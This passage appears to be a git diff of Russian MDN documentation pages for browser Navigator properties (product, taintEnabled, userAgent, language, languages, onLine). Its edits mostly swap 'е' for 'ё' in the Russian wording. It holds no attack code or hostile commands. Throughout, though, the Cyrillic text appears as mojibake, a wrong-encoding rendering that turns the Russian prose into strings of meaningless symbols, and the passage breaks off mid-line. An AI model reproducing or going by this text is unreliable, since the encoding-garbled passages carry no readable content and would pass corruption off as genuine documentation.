+<p>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ строку, ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΡƒΡŽ ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΡƒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°. <span id="result_box" lang="ru"><span>БпСцификация позволяСт</span> <span class="hps">Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌ</span> <span class="hps">всСгда Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚</span> <span class="hps">ΠΏΡƒΡΡ‚ΡƒΡŽ строку</span><span>,</span> <span class="hps">Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ Π½Π΅ стоит</span> <span class="hps">ΠΏΠΎΠ»Π°Π³Π°Ρ‚ΡŒΡΡ</span> <span class="hps">Π½Π° это свойство</span><span>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ</span> <span class="hps">Π½Π°Π΄Ρ‘ΠΆΠ½Ρ‹ΠΉ ΠΎΡ‚Π²Π΅Ρ‚</span><span>.</span></span></p>
<h2 id="Syntax" name="Syntax">Бинтаксис</h2>
diff --git a/files/ru/web/api/navigatorid/product/index.html b/files/ru/web/api/navigatorid/product/index.html
index 65aa5faa88..5bbcebbba1 100644
--- a/files/ru/web/api/navigatorid/product/index.html
+++ b/files/ru/web/api/navigatorid/product/index.html
@@ -29,14 +29,14 @@ function prod() {
&lt;button onclick="prod();"&gt;product&lt;/button&gt;
&lt;div id="d"&gt;Β &lt;/div&gt;
-&lt;!-- Π²Π΅Ρ€Π½Π΅Ρ‚ "Gecko" --&gt;
+&lt;!-- Π²Π΅Ρ€Π½Ρ‘Ρ‚ "Gecko" --&gt;
</pre>
<h2 id="Notes" name="Notes">ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</h2>
-<p>Π’ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ… Π½Π° основС GeckoΒ Β <code>product</code> соотвСтствуСт части ΠΏΠΎΠ»Π½ΠΎΠΉ строки Π°Π³Π΅Π½Ρ‚Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ которая ΠΈΠ΄Π΅Ρ‚ ΠΏΠ΅Ρ€Π²ΠΎΠΉ послС ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΡ‹. Π’ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠΌ Π°Π³Π΅Π½Ρ‚Π΅ Netscape 6.1, ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ,Β <code>product</code> это "Gecko" Π° полная строка ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ Π°Π³Π΅Π½Ρ‚Π° Π±ΡƒΠ΄Π΅Ρ‚: <code>Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.2) Gecko/20010725 Netscape6/6.1</code></p>
+<p>Π’ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ… Π½Π° основС GeckoΒ Β <code>product</code> соотвСтствуСт части ΠΏΠΎΠ»Π½ΠΎΠΉ строки Π°Π³Π΅Π½Ρ‚Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ которая ΠΈΠ΄Ρ‘Ρ‚ ΠΏΠ΅Ρ€Π²ΠΎΠΉ послС ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΡ‹. Π’ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠΌ Π°Π³Π΅Π½Ρ‚Π΅ Netscape 6.1, ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ,Β <code>product</code> это "Gecko" Π° полная строка ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ Π°Π³Π΅Π½Ρ‚Π° Π±ΡƒΠ΄Π΅Ρ‚: <code>Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.2) Gecko/20010725 Netscape6/6.1</code></p>
-<p>Π’ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅ Π½Π° основС WebKit <code>product </code>Π²Π΅Ρ€Π½Π΅Ρ‚ "<code>Gecko</code>", хотя Ρ‡Π°ΡΡ‚ΡŒ ΠΏΠΎΠ»Π½ΠΎΠΉ строки ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ Π°Π³Π΅Π½Ρ‚Π° нСпосрСдствСнно послС послС ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΡ‹ Π½Π° самом Π΄Π΅Π»Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π°Ρ:Β <code>(KHTML, like Gecko)</code>.</p>
+<p>Π’ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅ Π½Π° основС WebKit <code>product </code>Π²Π΅Ρ€Π½Ρ‘Ρ‚ "<code>Gecko</code>", хотя Ρ‡Π°ΡΡ‚ΡŒ ΠΏΠΎΠ»Π½ΠΎΠΉ строки ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ Π°Π³Π΅Π½Ρ‚Π° нСпосрСдствСнно послС послС ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΡ‹ Π½Π° самом Π΄Π΅Π»Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π°Ρ:Β <code>(KHTML, like Gecko)</code>.</p>
<h2 id="Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ">Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ</h2>
diff --git a/files/ru/web/api/navigatorid/taintenabled/index.html b/files/ru/web/api/navigatorid/taintenabled/index.html
index 528756b317..14a0dcf309 100644
--- a/files/ru/web/api/navigatorid/taintenabled/index.html
+++ b/files/ru/web/api/navigatorid/taintenabled/index.html
@@ -7,7 +7,7 @@ translation_of: Web/API/NavigatorID/taintEnabled
<p>ΠœΠ΅Ρ‚ΠΎΠ΄<code><strong> </strong></code><strong><code>NavigatorID.taintEnabled()</code></strong> всСгда Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ <code>false</code>.</p>
-<div class="note"><span id="result_box" lang="ru"><strong><span class="hps">ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</span><span>:</span></strong> </span>Taint <span lang="ru"><span class="hps">Π±Ρ‹Π»</span> <span class="hps">ΠΌΠ΅Ρ‚ΠΎΠ΄ Π·Π°Ρ‰ΠΈΡ‚Ρ‹</span> <span class="hps">ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉ Π²</span> <span class="hps">JavaScript 1.2</span><span>.</span> <span class="hps">Он Π΄Π°Π²Π½ΠΎ</span> <span class="hps">Π±Ρ‹Π» ΡƒΠ΄Π°Π»Π΅Π½</span><span>;</span> <span class="hps">этот ΠΌΠ΅Ρ‚ΠΎΠ΄</span> <span class="hps">остаСтся</span> <span class="hps">Ρ‚ΠΎΠ»ΡŒΠΊΠΎ</span> <span class="hps">для поддСрТания</span> <span class="hps">совмСстимости</span> <span class="hps">с ΠΎΡ‡Π΅Π½ΡŒ</span> <span class="hps">старыми скриптами</span><span>.</span></span></div>
+<div class="note"><span id="result_box" lang="ru"><strong><span class="hps">ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</span><span>:</span></strong> </span>Taint <span lang="ru"><span class="hps">Π±Ρ‹Π»</span> <span class="hps">ΠΌΠ΅Ρ‚ΠΎΠ΄ Π·Π°Ρ‰ΠΈΡ‚Ρ‹</span> <span class="hps">ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉ Π²</span> <span class="hps">JavaScript 1.2</span><span>.</span> <span class="hps">Он Π΄Π°Π²Π½ΠΎ</span> <span class="hps">Π±Ρ‹Π» ΡƒΠ΄Π°Π»Ρ‘Π½</span><span>;</span> <span class="hps">этот ΠΌΠ΅Ρ‚ΠΎΠ΄</span> <span class="hps">остаётся</span> <span class="hps">Ρ‚ΠΎΠ»ΡŒΠΊΠΎ</span> <span class="hps">для поддСрТания</span> <span class="hps">совмСстимости</span> <span class="hps">с ΠΎΡ‡Π΅Π½ΡŒ</span> <span class="hps">старыми скриптами</span><span>.</span></span></div>
<h2 id="Syntax" name="Syntax">Бинтаксис</h2>
diff --git a/files/ru/web/api/navigatorid/useragent/index.html b/files/ru/web/api/navigatorid/useragent/index.html
index 952c7aca04..b28e5c9c50 100644
--- a/files/ru/web/api/navigatorid/useragent/index.html
+++ b/files/ru/web/api/navigatorid/useragent/index.html
@@ -33,7 +33,7 @@ Application-Name Application-Name-version
<h2 id="Notes" name="Notes">ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</h2>
-<p><span id="result_box" lang="ru"><span class="hps">Π˜Π΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡ</span> <span class="hps">Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°</span> <span class="hps">Π½Π° основС</span> <span class="hps">обнаруТСния</span> <span class="hps">строки Π°Π³Π΅Π½Ρ‚Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ</span> <span class="hps">являСтся <strong>Π½Π΅Π½Π°Π΄Π΅ΠΆΠ½ΠΎΠΉ</strong></span> <span class="hps">ΠΈ <strong>Π½Π΅</strong></span><strong> </strong><span class="hps"><strong><strong>рСкомСндуСтся</strong>,</strong> Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ строка</span> <span class="hps">ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ</span><span class="hps">ского Π°Π³Π΅Π½Ρ‚Π°</span> <span class="hps">ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ</span><span>.</span></span> НапримСр:</p>
+<p><span id="result_box" lang="ru"><span class="hps">Π˜Π΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡ</span> <span class="hps">Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°</span> <span class="hps">Π½Π° основС</span> <span class="hps">обнаруТСния</span> <span class="hps">строки Π°Π³Π΅Π½Ρ‚Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ</span> <span class="hps">являСтся <strong>Π½Π΅Π½Π°Π΄Ρ‘ΠΆΠ½ΠΎΠΉ</strong></span> <span class="hps">ΠΈ <strong>Π½Π΅</strong></span><strong> </strong><span class="hps"><strong><strong>рСкомСндуСтся</strong>,</strong> Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ строка</span> <span class="hps">ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ</span><span class="hps">ского Π°Π³Π΅Π½Ρ‚Π°</span> <span class="hps">ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ</span><span>.</span></span> НапримСр:</p>
<ul>
<li>Π’ Firefox, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡Ρ‚Π΅Π½ΠΈΠ΅ {{pref("general.useragent.override")}} Π² <code>about:config</code>. НСкоторыС Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ Π΄Π΅Π»Π°ΡŽΡ‚ это; Однако это измСняСт Ρ‚ΠΎΠ»ΡŒΠΊΠΎ отправляСмый Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ HTTP, ΠΈ Π½Π΅ влияСт Π½Π° ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠ΅Π½ΠΈΠ΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° выполняСмым ΠΊΠΎΠ΄ΠΎΠΌ JavaScript.</li>
diff --git a/files/ru/web/api/navigatorlanguage/language/index.html b/files/ru/web/api/navigatorlanguage/language/index.html
index 6d1c542e1b..4576e7e207 100644
--- a/files/ru/web/api/navigatorlanguage/language/index.html
+++ b/files/ru/web/api/navigatorlanguage/language/index.html
@@ -65,7 +65,7 @@ translation_of: Web/API/NavigatorLanguage/language
<td>
<p>{{ CompatGeckoDesktop(1.0) }}</p>
- <p>Π”ΠΎ Gecko 2.0 {{ geckoRelease("2.0") }}, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ этого свойства Π±Ρ‹Π»ΠΎ Ρ‡Π°ΡΡ‚ΡŒΡŽ строки ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ Π°Π³Π΅Π½Ρ‚Π°, Ρ‚Π°ΠΊΠΈΠΌ ΠΊΠ°ΠΊ ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅Ρ‚ {{ domxref("window.navigator.userAgent", "navigator.userAgent") }}.</p>
+ <p>Π”ΠΎ Gecko 2.0 {{ geckoRelease("2.0") }}, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ этого свойства Π±Ρ‹Π»ΠΎ Ρ‡Π°ΡΡ‚ΡŒΡŽ строки ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ Π°Π³Π΅Π½Ρ‚Π°, Ρ‚Π°ΠΊΠΈΠΌ ΠΊΠ°ΠΊ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘Ρ‚ {{ domxref("window.navigator.userAgent", "navigator.userAgent") }}.</p>
<p>Начиная с Gecko 5.0 {{ geckoRelease("5.0") }}, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ этого свойства основано Π½Π° Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΈ <code>Accept-Language</code> <a href="/en/HTTP/Headers" title="en/HTTP/Headers">HTTPΒ header</a>.</p>
</td>
diff --git a/files/ru/web/api/navigatorlanguage/languages/index.html b/files/ru/web/api/navigatorlanguage/languages/index.html
index aa983c642e..b088e29ea3 100644
--- a/files/ru/web/api/navigatorlanguage/languages/index.html
+++ b/files/ru/web/api/navigatorlanguage/languages/index.html
@@ -107,7 +107,7 @@ navigator.languages //["en-US", "zh-CN", "ja-JP"]
</table>
</div>
-<p>[1]Π’ Firefox, the <code>navigator.languages</code> Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ свойства бСрСтся ΠΈΠ· <code>intl.accept_languages</code> прСдписаний.</p>
+<p>[1]Π’ Firefox, the <code>navigator.languages</code> Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ свойства бСрётся ΠΈΠ· <code>intl.accept_languages</code> прСдписаний.</p>
<h2 id="See_also" name="See_also">Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅</h2>
diff --git a/files/ru/web/api/navigatoronline/online/index.html b/files/ru/web/api/navigatoronline/online/index.html
index 1620695b45..35c66e47fa 100644
--- a/files/ru/web/api/navigatoronline/online/index.html
+++ b/files/ru/web/api/navigatoronline/online/index.html
@@ -5,15 +5,15 @@ translation_of: Web/API/NavigatorOnLine/onLine
---
<p>{{ApiRef("HTML DOM")}}</p>
-<p><span class="short_text" id="result_box" lang="ru"><span class="hps">Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚</span> <span class="hps">сСтСвой статус</span> <span class="hps">Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°</span><span>.</span></span> Бвойство Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ логичСскоС (boolean) Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, <code>true</code> ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ online ΠΈ <code>false</code> ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ offline.<span id="result_box" lang="ru"><span>Бвойство</span> <span class="hps">обновляСтся</span> <span class="hps">всякий Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π°</span> <span class="hps">ΡΠΏΠΎΡΠΎΠ±Π½ΠΎΡΡ‚ΡŒ</span> <span class="hps">Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°</span> <span class="hps">ΠΊ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡŽ ΠΊ</span> <span class="hps">сСти</span> <span class="hps">измСнится</span><span>.</span></span> <span id="result_box" lang="ru"><span>ОбновлСниС происходит Ρ‚ΠΎΠ³Π΄Π°</span><span>, ΠΊΠΎΠ³Π΄Π°</span> <span class="hps">ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ слСдуСт ΠΏΠΎ</span> <span class="hps">ссылкС ΠΈΠ»ΠΈ</span> <span class="hps">ΠΊΠΎΠ³Π΄Π°</span> <span class="hps">скрипт</span> <span class="hps">Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅Ρ‚</span> <span class="hps">ΡƒΠ΄Π°Π»Π΅Π½Π½ΡƒΡŽ страницу</span></span>. <span id="result_box" lang="ru"><span class="hps">НапримСр,</span> свойство<span class="hps"> Π΄ΠΎΠ»ΠΆΠ½ΠΎ</span> <span class="hps">Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒ <code>false</code></span><span>, ΠΊΠΎΠ³Π΄Π°</span> <span class="hps">ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΊΠ»ΠΈΠΊΠ°Π΅Ρ‚ ΠΏΠΎ</span> <span class="hps">ссылкС,</span> <span class="hps">вскорС послС</span> <span class="hps">ΠΏΠΎΡ‚Π΅Ρ€ΠΈ</span> <span class="hps">ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ ΠΊ ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Ρƒ</span><span>.</span></span></p>
+<p><span class="short_text" id="result_box" lang="ru"><span class="hps">Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚</span> <span class="hps">сСтСвой статус</span> <span class="hps">Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°</span><span>.</span></span> Бвойство Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ логичСскоС (boolean) Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, <code>true</code> ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ online ΠΈ <code>false</code> ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ offline.<span id="result_box" lang="ru"><span>Бвойство</span> <span class="hps">обновляСтся</span> <span class="hps">всякий Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π°</span> <span class="hps">ΡΠΏΠΎΡΠΎΠ±Π½ΠΎΡΡ‚ΡŒ</span> <span class="hps">Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°</span> <span class="hps">ΠΊ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡŽ ΠΊ</span> <span class="hps">сСти</span> <span class="hps">измСнится</span><span>.</span></span> <span id="result_box" lang="ru"><span>ОбновлСниС происходит Ρ‚ΠΎΠ³Π΄Π°</span><span>, ΠΊΠΎΠ³Π΄Π°</span> <span class="hps">ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ слСдуСт ΠΏΠΎ</span> <span class="hps">ссылкС ΠΈΠ»ΠΈ</span> <span class="hps">ΠΊΠΎΠ³Π΄Π°</span> <span class="hps">скрипт</span> <span class="hps">Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅Ρ‚</span> <span class="hps">ΡƒΠ΄Π°Π»Ρ‘Π½Π½ΡƒΡŽ страницу</span></span>. <span id="result_box" lang="ru"><span class="hps">НапримСр,</span> свойство<span class="hps"> Π΄ΠΎΠ»ΠΆΠ½ΠΎ</span> <span class="hps">Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒ <code>false</code></span><span>, ΠΊΠΎΠ³Π΄Π°</span> <span class="hps">ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΊΠ»ΠΈΠΊΠ°Π΅Ρ‚ ΠΏΠΎ</span> <span class="hps">ссылкС,</span> <span class="hps">вскорС послС</span> <span class="hps">ΠΏΠΎΡ‚Π΅Ρ€ΠΈ</span> <span class="hps">ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ ΠΊ ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Ρƒ</span><span>.</span></span></p>
<p>Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΡŽΡ‚ это свойство ΠΏΠΎ-Ρ€Π°Π·Π½ΠΎΠΌΡƒ.</p>
-<p>Π’ Chrome ΠΈ Safari, Ссли Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ΅Π΄ΠΈΠ½ΠΈΡ‚ΡŒΡΡ с локальной ΡΠ΅Ρ‚ΡŒΡŽ (LAN) ΠΈΠ»ΠΈ Ρ€ΠΎΡƒΡ‚Π΅Ρ€ΠΎΠΌ, это Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ·Π½Π°Ρ‡Π°Ρ‚ΡŒ offline; Π²ΠΎ всСх ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹Ρ… случаях вСрнСтся <code>true</code>.Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚ΡŒ Ρ‡Ρ‚ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π½Π΅ Π² сСти, ΠΊΠΎΠ³Π΄Π° Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>false</code>, Π½ΠΎ Π²Ρ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚ΡŒΒ  Ρ‡Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ true ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΠΎΠ±ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ Ρ‡Ρ‚ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Ρƒ. <span id="result_box" lang="ru"><span class="hps">Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅</span> <span class="hps">ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ</span> <span class="hps">Π»ΠΎΠΆΠ½Ρ‹Π΅ срабатывания</span><span>, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€,</span> <span class="hps">Π² случаях, ΠΊΠΎΠ³Π΄Π°</span> <span class="hps">ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€</span> <span class="hps">ΠΏΠΎΠ΄ ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ΠΌ</span> <span class="hps">ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ обСспСчСния</span> <span class="hps">для Π²ΠΈΡ€Ρ‚ΡƒΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ</span><span>, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΈΠΌΠ΅Π΅Ρ‚</span> <span class="hps">Π²ΠΈΡ€Ρ‚ΡƒΠ°Π»ΡŒΠ½Ρ‹Π΅</span> <span class="hps">сСтСвыС Π°Π΄Π°ΠΏΡ‚Π΅Ρ€Ρ‹</span><span>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ всСгда</span> <span class="atn hps">"</span><span>ΠŸΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΎ".</span></span>Β <span id="result_box" lang="ru"><span class="hps">ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ</span><span>,</span> <span class="hps">Ссли Π²Ρ‹ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅</span><span>, Ρ‡Ρ‚ΠΎΠ±Ρ‹</span> <span class="hps">ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡ‚ΡŒ состояниС</span> <span class="hps">Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°</span><span>,</span> <span class="hps">Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ</span> <span class="hps">Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ срСдства</span> <span class="hps">ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ</span><span>.</span></span>Β <span id="result_box" lang="ru"><span class="hps">Π§Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ·Π½Π°Ρ‚ΡŒ большС</span><span>, см</span>ΠΎΡ‚Ρ€ΠΈΡ‚Π΅ <span class="hps">ΡΡ‚Π°Ρ‚ΡŒΡŽ</span> <span class="hps">HTML5</span></span> <a class="external" href="http://www.html5rocks.com/en/mobile/workingoffthegrid.html"> Working Off the Grid</a>.</p>
+<p>Π’ Chrome ΠΈ Safari, Ссли Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ΅Π΄ΠΈΠ½ΠΈΡ‚ΡŒΡΡ с локальной ΡΠ΅Ρ‚ΡŒΡŽ (LAN) ΠΈΠ»ΠΈ Ρ€ΠΎΡƒΡ‚Π΅Ρ€ΠΎΠΌ, это Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ·Π½Π°Ρ‡Π°Ρ‚ΡŒ offline; Π²ΠΎ всСх ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹Ρ… случаях вСрнётся <code>true</code>.Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚ΡŒ Ρ‡Ρ‚ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π½Π΅ Π² сСти, ΠΊΠΎΠ³Π΄Π° Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>false</code>, Π½ΠΎ Π²Ρ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚ΡŒΒ  Ρ‡Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ true ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΠΎΠ±ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ Ρ‡Ρ‚ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Ρƒ. <span id="result_box" 